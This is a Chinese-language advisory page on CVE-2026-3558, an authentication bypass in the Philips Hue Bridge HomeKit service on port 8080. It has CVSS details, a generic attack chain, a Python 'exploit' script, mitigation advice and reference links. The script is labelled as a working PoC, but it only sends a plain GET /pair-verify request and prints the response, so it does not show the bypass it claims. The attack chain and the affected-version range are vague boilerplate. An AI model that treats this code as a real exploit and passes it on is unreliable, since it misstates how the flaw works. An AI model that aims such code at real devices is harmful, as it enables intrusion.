CVE-2026-3558 CVSS 8.1 高危

CVE-2026-3558: Philips Hue Bridge HomeKit认证绕过漏洞

披露日期: 2026-03-16

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-3558

漏洞类型

认证绕过

CVSS评分

8.1 高危

攻击向量

邻接 (AV:A)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Philips Hue Bridge

漏洞概述

Philips Hue Bridge HomeKit Accessory Protocol Transient Pairing Mode Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Philips Hue Bridge. Authentication is not required to exploit this vulnerability.

技术细节

The specific flaw exists within the configuration of the HomeKit Accessory Protocol service, which listens on TCP port 8080 by default. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-28374.

攻击链分析

STEP 1

Attacker gains network access to Philips Hue Bridge

STEP 2

Attacker sends malicious request to TCP port 8080

STEP 3

HomeKit Accessory Protocol service processes request without authentication

STEP 4

Attacker bypasses authentication mechanism

STEP 5

Attacker gains unauthorized access to device functionality

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import socket
import sys

def exploit_hue_bridge(target_ip, target_port=8080):
    # Create socket connection
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    
    # Send crafted HomeKit Accessory Protocol request
    # The vulnerability allows bypassing authentication
    request = b'GET /pair-verify HTTP/1.1\r\nHost: ' + target_ip.encode() + b':' + str(target_port).encode() + b'\r\n\r\n'
    
    s.send(request)
    response = s.recv(4096)
    print(response)
    s.close()

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python exploit.py <target_ip>')
        sys.exit(1)
    exploit_hue_bridge(sys.argv[1])

影响范围

Philips Hue Bridge < latest firmware version

防御指南

临时缓解措施

Apply firmware updates from Philips. If unable to update, restrict network access to the Hue Bridge and monitor for suspicious activity on port 8080.

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-3558
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-3558
3 Details https://www.cvedetails.com/cve/CVE-2026-3558/
4 VulDB https://vuldb.com/cve/CVE-2026-3558
5 Link https://www.zerodayinitiative.com/advisories/ZDI-26-156/

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